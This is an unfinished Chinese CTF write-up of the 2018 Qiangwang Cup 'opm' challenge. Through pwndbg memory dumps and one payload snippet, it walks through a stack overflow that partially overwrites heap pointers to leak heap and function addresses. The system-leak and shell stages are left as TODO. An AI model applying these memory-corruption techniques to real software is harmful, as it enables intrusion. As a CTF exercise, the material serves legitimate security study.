强网杯2018 opm writeup

分析

checksec

1
2
3
4
5
6
7
parallels@ubuntu:~/ctf/qiang/opm$ checksec opm
[*] '/home/parallels/ctf/qiang/opm/opm'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

程序分析

Add函数

创建一个结构体role,如果没创建过,可以参考这篇文章

1
2
3
4
5
6
7
8
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 role struc ; (sizeof=0x20, mappedto_6)
00000000 func dq ?
00000008 m_name dq ?
00000010 m_length dq ?
00000018 m_punchNum dq ?
00000020 role ends

Show

利用

利用思路

输入name和punch count时。由于没有限制输入大小,造成栈溢出。能覆盖堆指针,堆指针随函数返回保存中bss段。
通过这两次的溢出就能很容易更改堆指针指向其它地址。

atoi

头文件:#include

atoi() 函数用来将字符串转换成整数(int),其原型为:
int atoi (const char * str);

【函数说明】atoi() 函数会扫描参数 str 字符串,跳过前面的空白字符(例如空格,tab缩进等,可以通过 isspace() 函数来检测),直到遇上数字或正负符号才开始做转换,而再遇到非数字或字符串结束时(‘\0’)才结束转换,并将结果返回。

【返回值】返回转换后的整型数;如果 str 不能转换成 int 或者 str 为空字符串,那么将返回 0。

leak heap

待补充

正常添加role

1
2
3
pwndbg> x /10gx 0x555555554000+0x2020E0
0x5555557560e0: 0x0000555555768c20 0x0000000000000000
0x5555557560f0: 0x0000000000000000 0x0000000000000000

1
2
3
4
5
6
7
pwndbg> x /10gx 0x0000555555768c20
0x555555768c20: 0x0000555555554b30->func 0x0000555555768c50->name的堆指针
0x555555768c30: 0x0000000000000070->name的长度 0x0000000000000001->punch count
存放name的chunk
0x555555768c40: 0x0000000000000000 0x0000000000000081
0x555555768c50: 0x4141414141414141 0x4141414141414141
0x555555768c60: 0x4141414141414141 0x4141414141414141

第二次添加role,并进行堆溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pwndbg> x /10gx 0x555555554000+0x2020E0
0x5555557560e0: 0x0000555555768c20 0x0000555555760010->被溢出修改
0x5555557560f0: 0x0000000000000000 0x0000000000000000
...
pwndbg> heap
...
...
0x555555768cc0 FASTBIN {
prev_size = 0,
size = 49,
fd = 0x555555554b30,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x555555768cf0 PREV_INUSE {
prev_size = 0,
size = 145,
fd = 0x4242424242424242,
bk = 0x4242424242424242,
fd_nextsize = 0x4242424242424242,
bk_nextsize = 0x4242424242424242
}


可以看到真正的堆指针应该是0x555555768cc0,而因为溢出,\x00\x10覆盖了最后两个字节,堆指针被修改为0x555555760010
此后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> x /10gx 0x0000555555760010
0x555555760010: 0x0000000000000000 0x0000555555768d00->name的堆地址
0x555555760020: 0x0000000000000081 0x0000000000000002
...
...
pwndbg> x /20gx 0x0000555555768d00
0x555555768d00: 0x4242424242424242 0x4242424242424242
0x555555768d10: 0x4242424242424242 0x4242424242424242
0x555555768d20: 0x4242424242424242 0x4242424242424242
0x555555768d30: 0x4242424242424242 0x4242424242424242
0x555555768d40: 0x4242424242424242 0x4242424242424242
0x555555768d50: 0x4242424242424242 0x4242424242424242
0x555555768d60: 0x4242424242424242 0x4242424242424242
0x555555768d70: 0x4242424242424242 0x4242424242424242
0x555555768d80: 0x0000000000000010 0x0000000000020281
0x555555768d90: 0x0000000000000000 0x0000000000000000

第三次创建role。

1
2
3
payload = 'C'*0x80
payload1 = '3'+'P'*0x7f+'\x10'
add(payload,payload1)

首先,第一次栈溢出,可以看到本来v6在0x555555768d80,然后被payload溢出了一个字节,变成了0x555555768d00。

1
2
3
4
5
6
7
8
9
10
11
pwndbg> heap
...
...
0x555555768d80 FASTBIN {
prev_size = 16,
size = 49,
fd = 0x555555554b30,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

而这个地址刚好就是第二次的name堆指针所指向的chunk。
于是写入之后,就变成了

1
2
3
pwndbg> x /10gx 0x555555768d00
0x555555768d00: 0x4242424242424242 0x0000555555768dc0->name堆指针
0x555555768d10: 0x0000000000000080 0x4242424242424242

然后再次溢出,使得v6的值修改为0x555555760010,这是第二次的堆指针,这样修改之后,在打印函数里,就会将我们修改过后第二次的name值,再次打印出来。
这样就leak出了第三次分配的name的堆地址。

1
2
3
pwndbg> x /10gx 0x555555554000+0x2020E0
0x5555557560e0: 0x0000555555768c20 0x0000555555760010
0x5555557560f0: 0x0000555555760010 0x0000000000000000

leak got表

有了堆地址就可以泄露存放在堆中的函数指针,从而有了got表的地址。
存放函数指针的地址在p64(heap_addr‐0x30)

1
2
3
pwndbg> x /10gx 0x0000555555768dc0-0x30
0x555555768d90: 0x0000555555554b30->函数指针 0x0000000000000000
0x555555768da0: 0x0000000000000000 0x0000000000000000

TODO

leak system

TODO

getshell

TODO